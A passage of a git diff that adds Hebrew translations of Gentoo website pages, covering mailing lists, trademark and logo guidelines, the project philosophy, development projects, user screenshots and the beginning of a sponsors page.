+  <ti>Lista para la ayuda y discusion de usuarios hispano-hablantes de Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>רשימת תפוצה בצרפתית של משתמשי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>רשימת תפוצה בהונגרית של משתמשי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>רשימת תפוצה באינדונזית של משתמשי ג'נטו</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>רשימת תפוצה בקוריאנית של משתמשי ג'נטו</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>רשימת תפוצה בפולנית של משתמשי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>רשימת תפוצה עבור משתמשי צ'כיה וסלובקיה</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>רשימת תפוצה ברוסית של משתמשי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו בגרמנית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו בספרדית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו בצרפתית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו בהולנדית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו בפולנית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לגרמנית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו ליוונית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista de correo dedicada a la traduccion y creacion de documentacion en
+    Espanol de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לפינית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לצרפתית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו להונגרית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לאינדונזית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לאיטלקית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לליטאית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו להולנדית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לפולנית</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>רשימת תפוצה בנושא תרגום התיעוד של ג'נטו לרוסית</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>רשימות תפוצה אחרות</title>
+<body>
+
+<table>
+<tr>
+  <th>שם הרשימה</th>
+  <th>תיאור</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>עבור דיונים על פיתוח libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    רשימת תפוצה מיוחדת עבור הצופים בבאגים של ג'נטו. הכניסה לרשימת תפוצה זו היא בהזמנה בלבד.
+    אם אתם מעוניינים להצטרף, פשוט הפכו לפעילים בבאגזילה, ועזרו לחברים הקיימים שלנו להתעמת
+    עם הבאגים. ישימו לב אליכם ותוזמנו להיות מתעמתי-באגים בבוא הזמן.
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>מוקדשת לפיתוח של האתר החדש של ג'נטו</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>ארכיונים</title>
+<body>
+
+<p>
+ארכיונים של רשימות התפוצה של ג'נטו נאספים בכתובת <br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+האתרים הבאים גם מארחים ארכיב של רוב רשימות התפוצה.<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/> 
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>רשימת שאלות נפוצות קטנה על רשימות התפוצה</title>
+<body>
+
+<p>
+<b>נרשמתי לרשימת תפוצה באמצעות כתובת הדוא"ל שלי בבית, אבל אין באפשרותי
+לשלוח הודעות לרשימה מהעבודה. מה עלי לעשות כדי לתקן זאת?</b>
+</p>
+
+<p>
+כדי להקטין את כמות הספאם, כל רשימות התפוצה שלנו מוגדרות לאפשר משלוח הודעות
+אך ורק מכתובת רשמית של מנוי לרשימה. למזלנו, <c>mlmmj</c> תומך במנויי 
+"nomail", אשר מאפשרים לכם להרשם עם כתובת חלופית שבה תשתמשו רק כדי לשלוח לרשימה.
+הנה דוגמא כיצד זה עובד. נניח שאתם רשומים לרשימת התפוצה <c>gentoo-dev</c> בתור <c>jim@home.com</c>,
+אבל אתם מעוניינים לשלוח לרשימת התפוצה באמצעות כתובת הדוא"ל <c>james@work.com</c> שלכם.
+כדי לעשות זאת, שלחו הודעה (בתור <c>james@work.com</c>) אל הכתובת
+<c>gentoo-dev+subscribe-nomail@gentoo.org</c> 
+לאחר מכן תוכלו לשלוח לרשימת התפוצה <c>gentoo-dev</c> גם באמצעות כתובת הדוא"ל שלכם
+בבית, וגם באמצעות כתובת הדוא"ל שלכם בעבודה.
+</p>
+
+<p>
+<b>ברצוני לעבור ממשלוח הודעות רגיל למשלוח של תקצירי הודעות. איך אוכל לעשות זאת?</b>
+</p>
+
+<p>
+בטלו את הרישום לרשימה הרגילה, ובמקומו הרשמו לרשימת התקצירים. עבור רשימה בשם
+<c>listname</c>, תוכלו לעשות זאת על ידי שליחת שתי הודעות דואר אלקטרוני ריקות
+לשתי הכתובות הבאות:
+</p>
+
+<p><c>listname+unsubscribe@gentoo.org</c><br/>
+<c>listname+subscribe-digest@gentoo.org</c>
+</p>
+
+<p>
+<b>כיצד אשתמש ב-procmail כדי לסנן הודעות מרשימות התפוצה של ג'נטו?</b>
+</p>
+
+<p>
+כדי לסנן דואר נכנס המגיע מהרשימה <c>listname</c>, השתמשו במתכון
+<c>procmail</c> הבא:
+</p>
+
+<pre caption="דוגמא למתכון procmail">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+זה זהה לאיך שהייתם מסננים דואר נכנס מרשימות תפוצה המנוהלות על ידי <e>Mailman</e>
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/name-logo.xml b/xml/htdocs/main/he/name-logo.xml
new file mode 100644
index 00000000..b1f7a0dd
--- /dev/null
+++ b/xml/htdocs/main/he/name-logo.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/name-logo.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<guide link="/main/he/name-logo.xml" lang="he">
+<title>הנחיות השימוש בשמות ובלוגואים של ג'נטו</title>
+
+<author>
+  קרן ג'נטו
+</author>
+<author title="מתרגם"><mail link="gentoo@shimi.net">Shimi</mail></author>
+
+<abstract>
+מסמך זה מכסה את ההנחיות לגבי השימוש בשם ובלוגו של ג'נטו.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>הקדמות</title>
+<section>
+<body>
+
+<p>
+מסמך זה מתאר את השימוש הראוי בשם של ג'נטו, בלוגו "g", וכל סימן אחר עבור תוכנה ומאמצים
+הקשורים למחשב שאינם תחת הנחיית קרן ג'נטו, Inc. אם יש לכם שאלות אודות הנחיות אלה, אנא
+צרו קשר עם <mail
+link="trustees@gentoo.org">קרן ג'נטו, Inc.</mail>
+</p>
+
+<p>
+קרן ג'נטו, Inc שומרת את הזכות לשנות תנאים אלה מפעם לפעם בהתאם לשיקולה הבלעדי.
+מסיבה זו, אנו ממליצים לכם לבדוק מחדש הצהרה זו באופן תקופתי.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>הגדרות</title>
+<section>
+<title>פרוייקט ג'נטו</title>
+<body>
+
+<p>
+מאמצי הפיתוח בהתנדבות אשר מונחים בעת הזו על ידי קרן ג'נטו, Inc., חברה ללא-מטרות-רווח.
+</p>
+
+</body>
+</section>
+<section>
+<title>תוכן הנוצר על ידי פרוייקט ג'נטו</title>
+<body>
+
+<p>
+כל תוכן אשר זכויות היוצרים בו שייכות לקרן ג'נטו, Inc.
+</p>
+
+</body>
+</section>
+<section>
+<title>הלוגו "g"</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>האיורים של ג'נטו</title>
+<body>
+
+<p>
+כל האיורים אשר נוצרו על ידי <e>פרוייקט ג'נטו</e> (ראו הגדרה לעיל).
+</p>
+
+</body>
+</section>
+<section>
+<title>אתר הקהילה של ג'נטו</title>
+<body>
+
+<p>
+אתר ללא מטרות-רווח אשר מטרתו העיקרית היא לספק לכל משתמש ג'נטו מידע אודות
+ג'נטו ונושאים הקשורים לג'נטו.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>בעלות על סימנים</title>
+<section>
+<body>
+
+<p>
+השם "ג'נטו" והלוגו "g" הם סימנים רשומים של קרן ג'נטו, Inc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>השימוש בשם ג'נטו</title>
+<section>
+<body>
+
+<p>
+הנכם מורשים להשתמש בשם ג'נטו בתוכן הקשור למחשבים, בהנתן ו:
+</p>
+
+<ol>
+  <li>
+    אתם מכירים בכך שהשם "ג'נטו" הוא סימן מסחר של קרן ג'נטו, Inc., וגם
+  </li>
+  <li>
+    אינכם קוראים לאף פרוייקט תוכנה או מוצר הקשור למחשבים "ג'נטו"
+    או שהשם "ג'נטו" יופיע בתוך השם, וגם
+  </li>
+  <li>
+    שם המתחם המלא של פרוייקט התוכנה שלכם או המוצרים הקשורים למחשבים
+    אינם מכילים "ג'נטו", וגם
+  </li>
+  <li>
+    <e>
+      תציינו בבירור שתוכן, פרוייקט, אתר, מוצר או כל סוג אחר של חפץ אשר אליו השם "ג'נטו"
+      משוייך אינו חלק מפרוייקט ג'נטו ואינו מונחה או מנוהל על ידי קרן ג'נטו, Inc.
+    </e>
+  </li>
+</ol>
+
+<p>
+איננו מחשיבים הגבלות אלה כחלות על הפרוייקט <uri 
+link="http://www.obsession.se/gentoo/">Gentoo file manager</uri>, 
+המפותח על ידי Emil Bink, כיוון שזהו אינו פרוייקט מערכת הפעלה.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>השימוש בלוגו ובאיורים של ג'נטו</title>
+<section>
+<body>
+
+<p>
+הנכם מורשים להשתמש בלוגו "g" של ג'נטו ובאיורים אשר זכויות היוצרים בהם שמורים לקרן ג'נטו, Inc.
+(להלן "איורי ג'נטו") תחת התנאים הבאים:
+</p>
+
+</body>
+</section>
+<section>
+<title>שימוש מסחרי</title>
+<body>
+
+<p>
+שימוש מסחרי של הלוגו "g" ואיורי ג'נטו מותר עבור <e>כל תוכנה או מוצר חומרת מחשב</e> אשר
+<e>מכילים</e> או שהם <e>מבוססים על</e> תוכן שנוצר על ידי פרוייקט ג'נטו, או כל פרוייקט
+או שירות המתייחס לג'נטו או לפרוייקט ג'נטו, בתנאי והתנאים הבאים ימומשו:
+</p>
+
+<ol>
+  <li>
+    אתם מכירים בכך שהלוגו "g" הוא סימן רשום של קרן ג'נטו, Inc. ושכל איורי ג'נטו מוגנים בזכויות
+    היוצרים של קרן ג'נטו, Inc., וגם
+  </li>
+  <li>
+    האיורים שבשימוש <e>אינם</e> העיקריים (הגדולים ביותר) המוצגים על המוצר, ולכן
+    יעבירו את ההרגשה שהמוצר מכיל "תוכן שנוצר על ידי פרוייקט ג'נטו", אבל <e>אינו בעצמו
+	    מוצר אשר נמכר או נתמך</e> על ידי קרן ג'נטו, Inc.
+  </li>
+</ol>
+
+<p>
+<e>
+שימוש מסחרי של הלוגו "g" ואיורי ג'נטו לכל מטרה אחרת הינו אסור באופן מפורש.
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>שימוש לא-מסחרי</title>
+<body>
+
+<p>
+שימוש לא-מסחרי של הלוגו "g" ואיורי ג'נטו מותר בהנתן והתקיימו התנאים הבאים:
+</p>
+
+<ol>
+  <li>
+    אתם מכירים בכך שהלוגו "g" הוא סימן מסחר של קרן ג'נטו, Inc/, ושכל איורי ג'נטו מוגנים בזכויות
+    היוצרים של קרן ג'נטו, Inc, וגם,
+  </li>
+  <li>
+    הלוגו "g" ואיורי ג'נטו נמצאים בשימוש בתוכן אשר משתייך "לפרוייקט ג'נטו",
+    כפי שמונחה על ידי קרן ג'נטו, Inc., ולא אף מאמץ מחוץ או מעבר לסמכות של קרן ג'נטו, Inc/, וגם
+  </li>
+  <li>
+    <e>
+      הנכם מציינים בבירור שכל תוכן, פרוייקט, אתר, מוצר, או כל סוג עצם אחר אשר הלוגו "g"
+      או איורי ג'נטו משוייכים אליו אינו חלק מפרוייקט ג'נטו ואינו מונחה או מנוהל על ידי קרן
+      ג'נטו, Inc.
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>הפרוייקטים של קהילת ג'נטו</title>
+<section>
+<body>
+
+<p>
+קרן ג'נטו, Inc. מעניקה לאתרי קהילת ג'נטו, כפי שמוגדרים לעיל, את הזכות להשתמש
+בשם ג'נטו בשם הפרוייקט שלהם, ובשם המתחם המלא שלהם, בהנתן ו:
+</p>
+
+<ol>
+  <li>
+    האתר מציין בבירור, בכל דף, שהפרוייקט אינו פרוייקט רשמי של ג'נטו על ידי
+    תיוג עצמו כ"אתר חדשות", "אתר מעריצים", "אתר שאינו רשמי" או "אתר קהילה", וגם
+  </li>
+  <li>
+    האתר אינו מחקה את השם הוא המבנה של אחד מהאתרים הרשמיים שלנו, וגם
+  </li>
+  <li>
+    אתם מכירים בכך שהשם "ג'נטו" הוא סימן רשום של קרן ג'נטו, Inc.
+  </li>
+</ol>
+
+<p>
+כל שימוש אחר של השם, הלוגואים והאיורים של ג'נטו, נשאר כפוף להנחיות שהוזכרו לעיל.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/he/philosophy.xml b/xml/htdocs/main/he/philosophy.xml
new file mode 100644
index 00000000..48976064
--- /dev/null
+++ b/xml/htdocs/main/he/philosophy.xml
@@ -0,0 +1,64 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/philosophy.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="he">
+<title>הפילוסופיה של ג'נטו</title>
+<author title="יוצר">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="עורך">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+מסמך זה מסביר את הפילוסופיה שמאחורי ג'נטו.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>הפילוסופיה של ג'נטו</title>
+<section>
+<body>
+
+<p>
+לכל משתמש יש עבודה שהוא צריך לעשות. המטרה של ג'נטו היא לתכנן כלים ומערכות שיאפשרו
+למשתמשים לעשות את העבודה הזו באופן נעים ויעיל ככל הניתן, כפי <e>שהם</e> רואים לנכון.
+בכלים שלנו אמור להיות פשוט להשתמש, והם אמורים לעזור למשתמשים להעריך את העושר של
+קהילת התוכנה החופשית ולינוקס, והגמישות של של תוכנה חופשית. דבר זה אפשרי רק כאשר
+הכלי מתוכנן לשקף ולהעביר את הרצון של המשתמש, ולהשאיר את האפשרויות פתוחות כמו 
+שהן בחומרים המקוריים (קוד המקור.) אם כלי מכריח את המשתמש לעשות משהו בצורה מסויימת,
+אזי הכלי עובד נגד, במקום בעד, המשתמש. כולנו חווינו מצבים שבהם נראה שכלים מכריחים את
+הרצון שלהם עלינו. זה ללכת אחורנית, ובניגוד לפילוסופיה של ג'נטו.
+</p>
+
+<p>
+במילים אחרות, הפילוסופיה של ג'נטו היא ליצור כלים טובים יותר. כאשר כלי עושה את העבודה
+שלו באופן מושלם, ייתכן שאפילו לא תהיו מודעים לקיומו, משום שהוא אינו מפריע ובכך הופך
+את נוכחותו לידועה, והוא גם אינו מכריח אתכם לבצע אינטרקציה איתו כשאינכם מעוניינים בכך.
+הכלי משמש את המשתמש, ולא המשתמש ישמש את הכלי.
+</p>
+
+<p>
+המטרה של ג'נטו היא לשאוף ליצור כלים כמעט-אידאליים.
+כלים שיכולים לקדם את הצרכים של משתמשים רבים ושונים למטרות שונות.
+אתם לא אוהבים את זה כשאתם מוצאים כלי שעושה בדיוק מה שאתם רוצים לעשות?
+האין זו הרגשה נהדרת? המשימה שלנו היא לתת את הסנסציה הזו לכמה אנשים שרק ניתן.
+</p>
+
+<p>
+דניאל רובינס<br/>
+הארכיטקט הראשי הקודם
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/projects.xml b/xml/htdocs/main/he/projects.xml
new file mode 100644
index 00000000..3b44b5bd
--- /dev/null
+++ b/xml/htdocs/main/he/projects.xml
@@ -0,0 +1,57 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="he">
+<title>הפרוייקטים של ג'נטו לינוקס</title>
+<author title="הארכיטקט הראשי הקודם"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="מתרגם"><mail link="gentoo@shimi.net">Shimi</mail></author>
+
+<abstract>
+דף זה סוקר את פרוייקטי הפיתוח שאינם קשורים במיוחד לג'נטו לינוקס
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2004-09-30</date>
+
+<chapter>
+<title>הפרוייקטים של ג'נטו לינוקס</title>
+<section>
+<body>
+	<p>
+	<b><uri link="/proj/en/releng/catalyst/">Catalyst</uri> הוא הכלי שבו צוות הנדסת הגירסאות משתמש כדי ליצור
+		את כל הגירסאות של ג'נטו. Catalyst מסוגל ליצור שלבי התקנה, סטים של GRP, ותקליטורים חיים ברי-אתחול.</b>
+	</p>
+
+	<p>
+	<b><uri link="/proj/en/infrastructure/tenshi/">Tenshi</uri></b> היא תוכנה לניטור לוגים, אשר מיועד לצפות בקובץ לוג אחד או
+	יותר עבור שורות שמתאימות לביטויים רגולריים שהגדיר המשתמש, ודיווח על ממצאים. הביטויים הרגולריים מוקצים לתורים שבהם יש מרווח
+	התראה ורשימה של נמעני דוא"ל.
+	</p>
+
+	<p>
+	<b><uri link="/proj/en/keychain/">Keychain</uri> הוא יישום שימושי ביותר לניהול מפתחות RSA/DSA של OpenSSH ותואמי
+		SSH2 המסחרי.</b> הוא מתנהג כממשק קדמי (front-end) לתהליך <c>ssh-agent</c> <e>עבור מערכת</e>, במקום
+	עבור סשן של כניסה לתוך המחשב. דבר זה מפחית באופן דרמטי את מספר הפעמים שעליכם להכניס את משפט המפתח (passphrase)
+	מפעם אחת לכל פעם שאתם מבצעים כניסה למחשב ל<e>פעם אחת בכל פעם שהמחשב שלכם מופעל מחדש</e>.
+	</p>
+
+	<p>
+	<b><uri link="/proj/en/dynfw.xml">תסריטי הפיירוול dynfw</uri> הם סט של תסריטי פיירול מבוססי netfilter 
+	(ידוע גם כ-<c>iptables</c>) אשר מיועדים לאפשר תגובה מדודה ומיידית נגד איומי אבטחת מידע.</b>  תסריטי <c>bash</c> אלה
+תוכננו לעבור עם כמעט כל פיירוול מבוסס netfilter (כולל התצורות "אפשר בברירת מחדל" ו"חסום בברירת מחדל").
+	
+	</p>
+
+	<p>
+	<b><uri link="/proj/en/site.xml">דף פרוייקטי ה-XML</uri> מכיל את ה<c>מדריך</c> המלא למנוע XSLT אשר בו נעשה
+	שימוש כדי ליצור את כל האתר הזה, כולל הדפים הראשיים והתיעוד המקוון.</b> בדף זה, תוכלו למצוא tarball המכיל את קוד
+המקור המלאה אשר בו נעשה שימוש כדי ליצור את הגירסא האחרונה של האתר <uri>http://www.gentoo.org</uri> -- האתר שבו אתם
+צופים כעת.
+	</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/shots.xml b/xml/htdocs/main/he/shots.xml
new file mode 100644
index 00000000..10bc140a
--- /dev/null
+++ b/xml/htdocs/main/he/shots.xml
@@ -0,0 +1,195 @@
+<?xml version='1.0'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="shots.xml" lang="he">
+<title>Gentoo Linux Screenshots</title>
+<author title="ארכיטקט המערכת הקודם">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="כותב">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="כותב">Sergey Kuleshov</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+<!--
+  Method for publishing screenshots:
+  - Remove the bottom screenshot from the page; don't forget removing the images
+    from CVS afterwards as well
+  - Add the new screenshot on top of the page
+
+  We keep the 10 most recent screenshots so that we don't provide outdated
+  screenshots to our users.
+-->
+
+<abstract>צילומי מסך של ג'נטו לינוקס בפעולה.</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2006-01-20</date>
+
+<chapter>
+<title>הנה הם... הקליקו עבור גירסאות PNG גדולות יותר!</title>
+
+<section>
+<title>אי-אחריות</title>
+<body>
+
+<p>
+צילומי המסך שבדף זה נתרמו על ידי משתמשי ג'נטו שונים.
+המידע אודות ערכות הנושא, תמונות רקע, וכו', אינו זמין דרך ג'נטו.
+תצטרכו ליצור קשר עם יוצרי צילום המסך (אם תוכלו למצוא אותם)
+עבור מידע נוסף.
+</p>
+
+<p>
+אתם יכולים תמיד לנסות לאתר את היוצרים בערוץ הצ'אט שלנו, <c>#gentoo</c> בשרת
+irc.freenode.net או דרך <uri link="http://forums.gentoo.org">הפורומים של ג'נטו</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Darkclown Coronado</title>
+<body>
+
+<p>
+Darkclown (אל תשאלו) שלח לנו את צילום המסך הנאה שלו, המציג אייקונים בהשראת
+ויסטה על ידי saki ולוח המחוונים על שולחן העבודה על ידי ChristianNickel.  שולחן
+העבודה שלו מבוסס על סביבת KDE עם עיצובי חלונות מסוג Plastik והסגנון keramik.
+תוכלו לשים לב גם לתוספים (plugins) כמו liquid weather ו-cynapses aero.
+</p>
+
+<fig link="/images/shots/desktop-rehcmx-small.jpg"
+     linkto="/images/shots/desktop-rehcmx.jpg" />
+
+</body>
+</section>
+
+<section>
+<title>Scott S Short</title>
+<body>
+
+<p>
+המחשב של סקוט משתמש בקרנל 2.6.14-gentoo-r2 עם Gnome 2.12, ומראה את ערכת
+הנושא Milk 2.0. כל הצלמיות מקורן באתר של ג'נטו.
+</p>
+
+<fig link="/images/shots/desktop-scottsshort-small.png"
+     linkto="/images/shots/desktop-scottsshort.png" />
+
+</body>
+</section>
+
+<section>
+<title>Richard Head</title>
+<body>
+
+<p>
+ריצ'ארד הוא ממשתמשי ג'נטו הרבים אשר מתרשם מהגמישות של ג'נטו. הוא מתאר את צילום
+המסך שלו כ"די מגניב", המציג נגן mp3, מידע אודות מצב המערכת, מסופים ותפריט שקופים,
+ואת הסוף של סריקת פורטים.
+</p>
+
+<fig link="/images/shots/desktop-cadaver138-small.png"
+     linkto="/images/shots/desktop-cadaver138.png" />
+
+</body>
+</section>
+
+<section>
+<title>Wolfram Schlich</title>
+<body>
+
+<p>
+וולפרם הוא אחד ממפתחי ג'נטו האחראים לתחום האנטי וירוס ב-Portage. צילום המסך
+שלו מראה מערכת המריצה gnome-2.8, פיירפוקס 1.0.2 עם qute3 בתור ערכת הנושא, xmms
+(עם הסקין xawmms) ושני מסופים המציגים את centericq ואת htop.
+</p>
+
+<fig link="/images/shots/wschlich-small.png" linkto="/images/shots/wschlich.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Michael Olson</title>
+<body>
+
+<p>
+צילום המסך של מייקל מציג את Enlightenment 0.17 (תת-שחרור 10) עם חלק מהמודולים
+של E17, כמו השעון, מריץ האפליקציות וה-pager. בנוסף הוא מריץ את gkrellm, mozilla, evidence,
+xemacs-gtk, erss (עבור feed-ים של חדשות), gaim ו-xmms.
+</p>
+
+<fig link="/images/shots/olson-small.png" linkto="/images/shots/olson.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Buda Travers</title>
+<body>
+
+<p>
+בודה הוא אחר מהשתמשים המאוד, מאוד שמחים של ג'נטו. הוא די חדש בתחום של גנו/לינוקס
+אבל הספיק לקרוא את כל ה-GPL :) המערכת שלו מריצה Gnome. בצילום המסך תוכלו
+לראות את Gaim, את XMMS עם הסקין Gentoo_Ice, והתליך הידור של אופן-אופיס 1.1.3.
+</p>
+
+<fig link="/images/shots/buda-small.png" linkto="/images/shots/buda.png"/>
+
+</body>
+</section>
+
+<section>
+<title>William Godois</title>
+<body>
+
+<p>
+ויליאם משתמש בג'נטו מזה 9 חודשים אחרי שהשתמש שנתיים במנדרייק. מנהל החלונות העיקרי
+שלו תמיד היה enlightenment, שאתם יכולים לראות בצילום מסך זה. תוכלו גם למצוא תמונת
+רקע מ-Cognitive Distortion וצלמיות שהורדו מהאתר של ג'נטו.
+</p>
+
+<fig link="/images/shots/godoisw-small.jpg" linkto="/images/shots/godoisw.jpg"/>
+
+</body>
+</section>
+
+<section>
+<title>Alex Santiago</title>
+<body>
+
+<p>
+אלקס הוא משתמש ג'נטו טרי, שהחוויות הראשונות שלו התחילו מאוקטובר 2004 כשהוא
+גילה את ג'נטו על גבי DVD שצורף למגזין Linux Format שלו. בצילום מסך זה תוכלו למצוא
+את KDE 3.3.1 ואת Eterm 0.9.2 העוקבים אחר רישום ההודעות בשרתים שלו.
+תמצאו גם את gdesklets ולוח השנה, Kopete ו-gkrellm בצידי שולחן העבודה שלו.
+</p>
+
+<fig link="/images/shots/alex-small.png" linkto="/images/shots/alex.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Eric Holmes</title>
+<body>
+
+<p>
+שולחן העבודה של אריק מריץ את מנהל החלונות XFCE4 ואת ROX2 עבור ניהול קבצים וצלמיות
+שולחן עבודה. בצד ימין תוכלו לראות את anjuta עורך את קוד המקור של fbgrab.
+שימו לב גם שלפאנל של XFCE4 יש יישומון שמנטר את החיבור האלחוטי לרשת הביתית של אריק.
+</p>
+
+<fig link="/images/shots/ejholmes-small.png" linkto="/images/shots/ejholmes.png"/>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/he/sponsors.xml b/xml/htdocs/main/he/sponsors.xml
new file mode 100644
index 00000000..cf1a7737
--- /dev/null
+++ b/xml/htdocs/main/he/sponsors.xml
@@ -0,0 +1,296 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/sponsors.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>הספונסרים של 'גנטו</title>
+
+<author title="כותב">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="כותב">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="עורך">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+הספונסרים של ג'נטו
+</abstract>
+
+<license/>
+<version>1.8</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>הספונסרים של ג'נטו</title>
+<section>
+<body>
+
+<p>
+ג'נטו רוצה להודות לארגונים ולחברות הבאות אשר תורמים שירותים שונים וציוד כדי להמשיך
+את הפיתוח של ג'נטו. בלי ארגונים אלה, ג'נטו לא יכלה להיות היכן שהיא נמצאת היום.
+</p>
+
+</body>
+</section>
+<section>
+<title>אוניברסיטת מדינת אורגון</title>
+<body>
+
